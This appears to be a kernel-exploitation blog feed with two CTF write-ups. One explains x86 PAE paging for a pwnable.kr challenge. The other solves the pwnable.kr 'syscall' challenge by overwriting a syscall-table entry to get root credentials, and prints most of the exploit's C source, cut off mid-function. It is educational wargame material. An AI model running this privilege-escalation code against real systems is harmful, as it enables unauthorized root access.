Jekyll2018-08-05T13:49:16+00:00bodgergely.github.io/Exploitation the hard wayBlog about systems and kernel exploitation (hacking) for computer security professionals and enthusiasts. Writeups on capture the flag (CTF) challenges and wargames. General linux kernel and its security. Everything related to low level systems programming.
Do you remember when you first saw printf("Hello World")? Was your first question to your teacher how printf works? If yes then this blog is for you!PAE Paging - Memory mapping on x862018-07-19T01:36:41+00:002018-07-19T01:36:41+00:00bodgergely.github.io/jekyll/update/2018/07/19/pae-paging<h2 id="intro">Intro</h2>
<p>I needed to delve a bit deeper into x86(64) paging as the challange on <a href="pwnable.kr">pwnable.kr</a>
in the Hacker’s Secret category named <strong>sotmmu</strong> is asking for it.</p>
<h2 id="challange">Challange</h2>
<p>Busybox machine running kernel 3.7.1.
You only have a very bare bone environment, no gcc nor gdb just a minimal set of UNIX tools plus the kernel
with a buggy page walker module inserted :)</p>
<p>The msot obvious bug is that we have a format string vulerability, there is a printk(userspace_addr).
We control the user space addr that gets passed in. On the stack we have the first four bytes of the
paging structure that holds the pte entries so we can overwrite to those 4 bytes using “%n” specifier.
The 3.7.1 kernel still has “%n”, the number of chars “to be written/were to be written” printf feature in
printk!</p>
<p>Now at this moment I am still thinking quite hard how this could be exploited as I just seem to have control
over the first entry in this pte array. If I just could overwrite the a text page phisycal mapping with a physical
address that I know holds my custom shellcode to raise my priviliges I would be golden. But
I am quite limited as the only candidate address that I can reach directly and could be useful based on
the busybox memory mappings is virtual 0x82000000 as it could hold text memory. But I am not so lucky and it does
not seem to hold physical frame.</p>
<p>This kernel uses PAE which is for 32 bit x86 Intel processors to extend the physical addresses from 32 bits to 52 bits.</p>
<p>(Intel Software Developer’s Manual - Systems Programming Guide - Chapter 4.)</p>
<h2 id="pae">PAE</h2>
<p>In PAE we have 3 levels of linear address translation. The first 2 bits identify 4 possible entries, the next 9 bits
identify the entry in the second struture pointed to by the previous entry.
Then comes the 3rd 9 bits which again indexes into the 3rd stucture pointed to by the second structure’s chosen entry.
At this point we either have a frame mapped onto the virtual address or not. If yes the remaining 12 bits is the offset in the frame.</p>
<p>The above is the standard case when a frame is 4096 bytes long (12 bits identify it). It is possible to have larger (2MB) so called
hugepages. In this case we need 22 bits for the offset so we have only 10 bits to identify the correct frame.
There is trade off between having larger pages vs smaller pages since the granularity affects greatly systems performance
and we might prefer one or the other depending on our requirements.</p>
<p>Please consult the Intel’s manual Chapter 4 Paging for a detailed description.</p>
<ul>
<li>CR0.PG = 1</li>
<li>CR4.PAE = 1</li>
<li>IA32_EFER>LME = 0</li>
</ul>
<p>linear 32 bit ===> physical 52 bit</p>
<ul>
<li>4 PDPTE registers pointing to 4 structures</li>
</ul>
<h3 id="pdpte-registers">PDPTE registers</h3>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>CR3 references the base of a 32 byte page-directory-pointer table.
CR3 registers 31:5 bits define the actual address to this table. The other bits are ignored.
PDPTE register:
- 52:12 bits define the address to the page directory referenced by this table pointer
</code></pre></div></div>
<h3 id="linear-translation-with-pae-paging">Linear translation with PAE paging</h3>
<p>CR3 -> PDPTE -> PDE -> PTE -> PT (4KB pages)
CR3 -> PDPTE -> PDE -> PT (2MB pages)</p>
<p>PAE paging may map linear addresses to either <strong>4KB</strong> or to <strong>2MB</strong> pages.</p>
<p>Bits 31:30 of the linear address select a PDPTE register this is the <strong>PDPTEi</strong> where i is the value of 31:30 bits.
These 2 bits control access to a 1 Gigabyte region of memory of the linear address space. If the P flag(bit 0)
of PDPTEi is 0 the processor just ignores the bits 63:1 and there is no mapping for the 1 GB region controlled by
PDPTEi. A reference using a linear address in this region causes a page-fault exception.</p>
<p>If the P flag is 1 -> the 4 KB page directory (aligned) is located at the physical address specified by by bits
51:12 of the PDPTEi. A page directory contains 512, 8 byte long entries.</p>
<p>The <strong>PDE</strong>’s physial address is specified with the below method: (commbination of PDPTEi and the linear address)
- Bits 51:12 are from PDPTEi
- Bits 11:3 are bits 29:21 of the linear address
- Bits 2:0 are 0.</p>
<p>Each PDE controls accessto a 2MB region of the linear address space.</p>
<p>A PDE can map a 2MB page or 512 4KB pages which depends on the PS flag (bit 7) of the PDE.</p>
<ul>
<li>
<p>PS == 1 then PDE maps a 2MB page
<strong>Final physical address</strong> is computed:
- Bits 51:21 from PDE
- Bits 20:0 from the original linear address</p>
</li>
<li>
<p>PS == 0 then a 4KB page table is located at the physical address specified by
bits 51:12 of the PDE. A page table has 512, 8 byte entries, <strong>PTE</strong>s</p>
<p>A PTE is selected from this page table by the below method:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> - Bits 51:12 are from the PDE
- Bits 11:3 are bits 20:12 of the linear address
- Bits 2:0 are 0
</code></pre></div> </div>
</li>
</ul>
<p>Every PTE maps a 4KB page (because PTE is identified by bits 31:12 of the linear address)</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Final address at this point is calculated:
- Bits 51:12 from the PTE
- Bits 11:0 from the original linear address
</code></pre></div></div>
<p>If the P flag (bit 0) of the PDE or the PTE is 0 or if the PDE or PTE sets any reserved bit then the entry is
used neither to reference another paging structure entry nor map a page. A reference to such linear address would cause
a page-fault exception.</p>
<p>The following bits are reserved with PAE paging:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>If the P flag (bit 0) of a PDE or a PTE is 1, bits 62:MAXPHYADDR are reserved.
If the P flag and the PS flag (bit 7) of a PDE are both 1, bits 20:13 are reserved.
If IA32_EFER.NXE = 0 and the P flag of a PDE or a PTE is 1, the XD flag (bit 63) is reserved.
If the PAT is not supported:
— If the P flag of a PTE is 1, bit 7 is reserved.
— If the P flag and the PS flag of a PDE are both 1, bit 12 is reserved.
</code></pre></div></div>
<p>All the above information is taken from the Intel Software Developer’s manual (chapter 4, Paging)</p>
<h2 id="implementation">Implementation</h2>
<p>We can create a linux kernel module to walk the process’s page table structures.</p>
<p>include/linux/mm_types.h –> for the mm_struct
arch/x86/include/asm/pgtable_types.h –> for the pgd_t
arch/x86/include/asm/pgtable-3level_types –> pgdval_t</p>
<p>You can access the current process:</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">struct</span> <span class="n">task_struct</span><span class="o">*</span> <span class="n">proc</span> <span class="o">=</span> <span class="n">current</span><span class="p">;</span> <span class="c1">// current is macro ; calls get_current()
</span><span class="k">struct</span> <span class="n">mm_struct</span><span class="o">*</span> <span class="n">mm</span> <span class="o">=</span> <span class="n">proc</span><span class="o">-></span><span class="n">mm</span><span class="p">;</span>
<span class="n">pgd_t</span><span class="o">*</span> <span class="n">pgd</span> <span class="o">=</span> <span class="n">mm</span><span class="o">-></span><span class="n">pgd</span><span class="p">;</span> <span class="o">//</span> <span class="n">should</span> <span class="n">point</span> <span class="n">to</span> <span class="n">the</span> <span class="n">table</span> <span class="n">containing</span> <span class="n">the</span> <span class="mi">4</span> <span class="n">entries</span> <span class="n">of</span> <span class="n">pgd</span> <span class="n">entries</span></code></pre></figure>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span> <span class="n">pgdval_t</span> <span class="n">pgd</span><span class="p">;</span> <span class="p">}</span> <span class="n">pgd_t</span><span class="p">;</span>
<span class="k">typedef</span> <span class="n">u64</span> <span class="n">pgdval_t</span><span class="p">;</span></code></pre></figure>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="k">static</span> <span class="n">u64</span> <span class="nf">mmu_walk_pae</span><span class="p">(</span><span class="n">u32</span> <span class="n">vaddr</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">task_struct</span><span class="o">*</span> <span class="n">proc</span> <span class="o">=</span> <span class="n">current</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">mm_struct</span><span class="o">*</span> <span class="n">mm</span> <span class="o">=</span> <span class="n">proc</span><span class="o">-></span><span class="n">mm</span><span class="p">;</span>
<span class="n">pgd_t</span><span class="o">*</span> <span class="n">pdpte_table</span> <span class="o">=</span> <span class="n">mm</span><span class="o">-></span><span class="n">pgd</span><span class="p">;</span>
<span class="c1">// PDPTE selection
</span> <span class="c1">// virt addr bits 31:30 select the PDPTEi
</span> <span class="n">u32</span> <span class="n">pdpte_index</span> <span class="o">=</span> <span class="p">(</span><span class="n">vaddr</span> <span class="o">&</span> <span class="mh">0xC0000000</span><span class="p">)</span> <span class="o">>></span> <span class="mi">30</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">pdpte</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">u32</span><span class="o">*</span><span class="p">)(</span><span class="n">pdpte_table</span> <span class="o">+</span> <span class="n">pdpte_index</span><span class="o">*</span><span class="mi">8</span><span class="p">);</span>
<span class="c1">// inspect the P flag (bit 0)
</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">pdpte</span> <span class="o">&</span> <span class="mh">0x1</span><span class="p">))</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="s">"PDPTE%u not a mapping</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pdpte_index</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">u32</span><span class="o">*</span> <span class="n">pde_addr</span> <span class="o">=</span> <span class="n">get_pde_addr</span><span class="p">(</span><span class="n">pdpte</span><span class="p">,</span> <span class="n">vaddr</span><span class="p">);</span>
<span class="n">u32</span> <span class="n">pde</span> <span class="o">=</span> <span class="o">*</span><span class="n">pde_addr</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">pde</span> <span class="o">&</span> <span class="mh">0x1</span><span class="p">))</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="s">"PDE: %p contains: %x is not a mapping.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pde_addr</span><span class="p">,</span> <span class="n">pde</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">pde</span> <span class="o">&</span> <span class="mh">0x80</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="s">"PDE: %p contain : %x is mapping a 2MB page.</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pde_addr</span><span class="p">,</span> <span class="n">pde</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="n">pde</span> <span class="o">&</span> <span class="mh">0x000fffffffe00000</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">vaddr</span> <span class="o">&</span> <span class="mh">0x001fffff</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">u32</span> <span class="n">pte_table_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">pde</span> <span class="o">&</span> <span class="mh">0xfffff000</span><span class="p">)</span> <span class="o">+</span> <span class="mh">0xc0000000</span><span class="p">;</span>
<span class="n">u32</span> <span class="n">pte_index</span> <span class="o">=</span> <span class="p">((</span><span class="n">vaddr</span> <span class="o">&</span> <span class="mh">0x1ff000</span><span class="p">)</span> <span class="o">>></span> <span class="mi">12</span><span class="p">);</span>
<span class="n">u64</span><span class="o">*</span> <span class="n">pte_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">u64</span><span class="o">*</span><span class="p">)(</span><span class="n">pte_table_addr</span> <span class="o">+</span> <span class="p">(</span><span class="n">pte_index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">));</span>
<span class="n">u64</span> <span class="n">pte</span> <span class="o">=</span> <span class="o">*</span><span class="n">pte_addr</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">pte</span> <span class="o">&</span> <span class="mh">0x1</span><span class="p">))</span> <span class="p">{</span>
<span class="n">printk</span><span class="p">(</span><span class="s">"PTE not a mapping, PTE table start: %x, index: %x, pte_addr: %p, pte: %llx"</span><span class="p">,</span>
<span class="n">pte_table_addr</span><span class="p">,</span> <span class="n">pte_index</span><span class="p">,</span> <span class="n">pte_addr</span><span class="p">,</span> <span class="n">pte</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// final physical
</span> <span class="k">return</span> <span class="p">(</span><span class="n">pte</span> <span class="o">&</span> <span class="mh">0x000ffffffffff000</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">vaddr</span> <span class="o">&</span> <span class="mh">0xfff</span><span class="p">);</span>
<span class="p">}</span></code></pre></figure>IntroHow to exploit the lack of __user space check in the Linux kernel2018-07-19T01:36:41+00:002018-07-19T01:36:41+00:00bodgergely.github.io/jekyll/update/2018/07/19/buggy-syscall<p>tags: #pwnable #rookiss #kernel #kernelexploit #syscall #cred</p>
<h2 id="challenge">Challenge</h2>
<p><strong>Linux system call without proper __user address space checking.</strong></p>
<p><a href="pwnable.kr">pwnable-kr</a> - Rookiss ‘syscall’ challange.</p>
<p>Download : <a href="http://pwnable.kr/bin/syscall.c">syscall.c</a></p>
<p>ssh syscall@pwnable.kr -p2222 (pw:guest)</p>
<p><strong>Host:</strong> qemu + busybox emulating ARM vexpress board.</p>
<h3 id="site">Site</h3>
<p><a href="http://pwnable.kr/">pwnable.kr</a></p>
<h2 id="solution">Solution</h2>
<p><a href="https://github.com/bodgergely/wargames/blob/master/pwnable_kr/Rookiss/syscall/exploit_arm.c">source code of the exploit on GitHub</a></p>
<h3 id="gist">Gist</h3>
<ol>
<li>
<p>Install our userspace function in place of the syscall 223</p>
</li>
<li>
<p>Our function should create and install credentials with root id for our process</p>
</li>
</ol>
<h3 id="explanation">Explanation</h3>
<p>The kernel has a new syscall on syscall number 223 which will convert lower case bytes to upper case.
The system call defined in syscall.c has a bug! The kernel does not check whether the supplied paramaters are coming from the user address space. (<strong>user</strong> attribute is missing from the param declaration.)</p>
<p>Since this kernel remapped the syscall table to be writable we can use this sycall to actually overwrite its syscall entry with a function we supply! The linux kernel does not have a separate user and kernel linear virtual address space for performance reasons.</p>
<p>When a syscall is being executed the linux kernel is running on behalf of a process. It also has access to the address space of the process! This makes it possible to reference userspace memory.
What this means is that we can install our own syscall by overwriting the syscall entry 223 then calling the syscall 223 again.</p>
<p>At this point we also have access to kernel space obviously so we can use kernel functions (we can look them up from /proc/kallsyms as they are readable without sudo on that machine).
We simply clone the current credentials then we overwrite the new cred structure with the id 0 (root id) then we install the new credentials. After this we can return from the syscall and we have root privileges!</p>
<h3 id="plan">Plan</h3>
<ol>
<li>Lookup the addresses of the following kernel symbols (kernel address space layout randomization is turned off on the host):
You can use:
<code class="highlighter-rouge">cat /proc/kallsyms | grep <symbol></code>
<ul>
<li>sys_call_table</li>
<li>prepare_creds</li>
<li>commit_creds
sys_call_table is where the function pointers to the syscall handlers are stored.
struct cred* prepare_creds() is a kernel function (linux/kernel/cred.c) to clone the current cred struct.
int commit_creds(struct cred*) will install the new credentials to the process.</li>
</ul>
</li>
<li>
<p>Remap our text section to the heap and make it executable. (Actually it is enough to remap the code that will be executed when in kernel mode)</p>
</li>
<li>Install our userspace callback function into the 223 syscall entry. The entry 223 is unused - this is where the lower_to_upper syscall is stored originally.
This is done by supplying to the buggy syscall:
<ul>
<li>
<p>destination address:</p>
<p><code class="highlighter-rouge">sys_call_table + 223 * sizeof(void*)</code></p>
</li>
<li>
<p>source address:</p>
<p>our remapped callback’s address (NOTICE: remap to an address which will result in an address of the callback so that none of the bytes of the address falls into the lowercase value range as the buggy syscall will try to make it uppercase value.)</p>
</li>
</ul>
</li>
<li>
<p>Trigger the syscall 223 again - now are injected callback will be executed.</p>
</li>
<li>Now we should have root priviliges and now just simply open and read the /root/flag file.</li>
</ol>
<h3 id="the-new-userspace-syscall">The new userspace ‘syscall’</h3>
<p>On x86 linux kernel uses registers to pass parameters to function if it can so we need to repsect that when interfacing with internal kernel functions.
https://kernelnewbies.org/ABI</p>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#define SYS_CALL_TABLE_BASE 0x8000e348 // sys_call_table
#define CRED_PREPARE_CRED 0x8003f44c // prepare_creds
#define CRED_COMMIT_CRED 0x8003f56c // commit_creds
</span>
<span class="k">typedef</span> <span class="kt">void</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="n">prepare_creds_ty</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span> <span class="c1">// return struct cred*
</span><span class="k">typedef</span> <span class="n">__attribute__</span><span class="p">((</span><span class="n">regparm</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span> <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">commit_creds_ty</span><span class="p">)(</span><span class="kt">void</span><span class="o">*</span><span class="p">);</span> <span class="c1">// takes struct cred*
</span>
<span class="kt">void</span><span class="o">*</span> <span class="nf">prepare_creds</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="p">((</span><span class="n">prepare_creds_ty</span><span class="p">)</span><span class="n">CRED_PREPARE_CRED</span><span class="p">)();</span>
<span class="p">}</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">regparm</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span> <span class="c1">// regparam (number) => pass <number> params through registers
</span><span class="kt">int</span> <span class="n">commit_creds</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">cred</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="p">((</span><span class="n">commit_creds_ty</span><span class="p">)</span><span class="n">CRED_COMMIT_CRED</span><span class="p">)(</span><span class="n">cred</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">regparm</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span>
<span class="kt">void</span> <span class="n">setid_on_cred</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">cred</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">u32</span><span class="o">*</span> <span class="n">pcred</span> <span class="o">=</span> <span class="p">(</span><span class="n">u32</span><span class="o">*</span><span class="p">)</span><span class="n">cred</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// now we should try to 'blindly' modify the uids. struct cred is defined in linux/include/cred.h
</span> <span class="n">pcred</span><span class="o">++</span><span class="p">;</span> <span class="c1">// jump over the 'usage' field
</span> <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">8</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// we have 8 'id' members in struct cred - overwrite them with 0 (root id)
</span> <span class="o">*</span><span class="n">pcred</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// credential zero is the root id
</span> <span class="n">pcred</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/*
This is the callback we want to install into syscall number 223 - in place of the original one
*/</span>
<span class="kt">int</span> <span class="n">change_cred</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">a</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">b</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">res</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">cred</span> <span class="o">=</span> <span class="n">prepare_creds</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">cred</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">setid_on_cred</span><span class="p">(</span><span class="n">cred</span><span class="p">);</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">commit_creds</span><span class="p">(</span><span class="n">cred</span><span class="p">);</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>Once the syscall returns the second time (the first was to exploit the bug and overwrite the syscall entry) we have root priviliges.
Now we can use open() and read() syscalls on the /root/flag file simply in userspace.</p>
<h3 id="compilation">Compilation</h3>
<p><code class="highlighter-rouge">gcc -no-pie -o exploit exploit.c</code></p>
<p>no-pie means not position independent code. We need fixed userspace addresses.</p>
<p>Note: On x86 it is very important to add the attribute mregparm=<number> to function interfacing kernel functions in order to pass up to <number> arguments through registers!
The Linux kernel uses ABI that expects that.</number></number></p>
<h3 id="full-source">Full source</h3>
<figure class="highlight"><pre><code class="language-c" data-lang="c"><span class="cp">#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
</span>
<span class="c1">// modify the below based on what you see in /proc/kallsyms
</span><span class="cp">#define SYS_CALL_TABLE_BASE 0x8000e348 // sys_call_table
#define NR_SYS_UPPER_CASE 223 // the unused syscall number we hijack
</span>
<span class="cp">#define CRED_PREPARE_CRED 0x8003f44c // prepare_creds
#define CRED_COMMIT_CRED 0x8003f56c // commit_creds
</span>
<span class="cp">#define KB 1024
#define MB (KB) * (KB)
#define BUFF_SIZE (KB)*1
</span>
<span class="cp">#define AL_SZ (4096 * 8)
</span>
<span class="k">typedef</span> <span class="kt">uint32_t</span> <span class="n">u32</span><span class="p">;</span>
<span class="cm">/*
Compile with -no-pie.
gcc -no-pie -o exploit exploit.c
compile functions used in kernel space with -mregparm=3 beacuse we need the same parameter passing API as the linux kernel
*/</span>
<span class="cm">/*
asmlinkage long sys_upper(char *in, char* out);
int __se_sys_setreuid(unsigned ruid, unsigned euid);
Credentials related:
--------------------
struct cred *cred_alloc_blank(void);
struct cred *prepare_creds(void);
static int set_user(struct cred *new)
int commit_creds(struct cred *new);
struct cred is defined in include/linux/cred.h
*/</span>
<span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">flagfile</span> <span class="o">=</span> <span class="s">"/root/flag"</span><span class="p">;</span>
<span class="k">typedef</span> <span class="kt">void</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="n">cred_alloc_blank_ty</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span> <span class="c1">// returns struct cred*
</span><span class="k">typedef</span> <span class="kt">void</span><span class="o">*</span> <span class="p">(</span><span class="o">*</span><span class="n">prepare_creds_ty</span><span class="p">)(</span><span class="kt">void</span><span class="p">);</span> <span class="c1">// return struct cred*
</span><span class="k">typedef</span> <span class="n">__attribute__</span><span class="p">((</span><span class="n">regparm</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span> <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">commit_creds_ty</span><span class="p">)(</span><span class="kt">void</span><span class="o">*</span><span class="p">);</span> <span class="c1">// takes struct cred*
</span>
<span class="c1">//typedef long (*sys_call)(void);
</span>
<span class="kt">void</span><span class="o">*</span> <span class="nf">prepare_creds</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="p">((</span><span class="n">prepare_creds_ty</span><span class="p">)</span><span class="n">CRED_PREPARE_CRED</span><span class="p">)();</span>
<span class="p">}</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">regparm</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span> <span class="c1">// regparam (number) => pass <number> params through registers
</span><span class="kt">int</span> <span class="n">commit_creds</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">cred</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="p">((</span><span class="n">commit_creds_ty</span><span class="p">)</span><span class="n">CRED_COMMIT_CRED</span><span class="p">)(</span><span class="n">cred</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">__attribute__</span><span class="p">((</span><span class="n">regparm</span><span class="p">(</span><span class="mi">1</span><span class="p">)))</span>
<span class="kt">void</span> <span class="n">setid_on_cred</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">cred</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">u32</span><span class="o">*</span> <span class="n">pcred</span> <span class="o">=</span> <span class="p">(</span><span class="n">u32</span><span class="o">*</span><span class="p">)</span><span class="n">cred</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="c1">// now we should try to 'blindly' modify the uids.
</span> <span class="n">pcred</span><span class="o">++</span><span class="p">;</span> <span class="c1">// jump over the 'usage' field
</span> <span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">8</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// we have 8 'id' members in struct cred - overwrite them with 0 (root id)
</span> <span class="o">*</span><span class="n">pcred</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="c1">// credential zero is the root id
</span> <span class="n">pcred</span><span class="o">++</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/**
Callback to be installed as syscall to change the process credentials
*/</span>
<span class="kt">int</span> <span class="n">change_cred</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">a</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">b</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">res</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">cred</span> <span class="o">=</span> <span class="n">prepare_creds</span><span class="p">();</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">cred</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">setid_on_cred</span><span class="p">(</span><span class="n">cred</span><span class="p">);</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">commit_creds</span><span class="p">(</span><span class="n">cred</span><span class="p">);</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">long</span> <span class="n">lower_to_upper</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">from</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">to</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="n">syscall</span><span class="p">(</span><span class="n">NR_SYS_UPPER_CASE</span><span class="p">,</span> <span class="n">from</span><span class="p">,</span> <span class="n">to</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">cop_addr</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span> <span class="n">to</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">from</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">i</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span><span class="o"><</span><span class="mi">4</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">to</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">from</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">remapped_addr</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">syscall_entry_addr</span> <span class="o">=</span> <span class="n">SYS_CALL_TABLE_BASE</span> <span class="o">+</span> <span class="p">(</span><span class="n">NR_SYS_UPPER_CASE</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="o">*</span><span class="p">));</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Want to mmap code to: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">remapped_addr</span><span class="p">);</span>
<span class="n">remapped_addr</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="n">remapped_addr</span><span class="p">,</span> <span class="n">AL_SZ</span><span class="p">,</span> <span class="n">PROT_EXEC</span><span class="o">|</span><span class="n">PROT_READ</span><span class="o">|</span><span class="n">PROT_WRITE</span><span class="p">,</span>
<span class="n">MAP_PRIVATE</span><span class="o">|</span><span class="n">MAP_ANONYMOUS</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">remapped_addr</span> <span class="o">==</span> <span class="n">MAP_FAILED</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"mmap failed.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
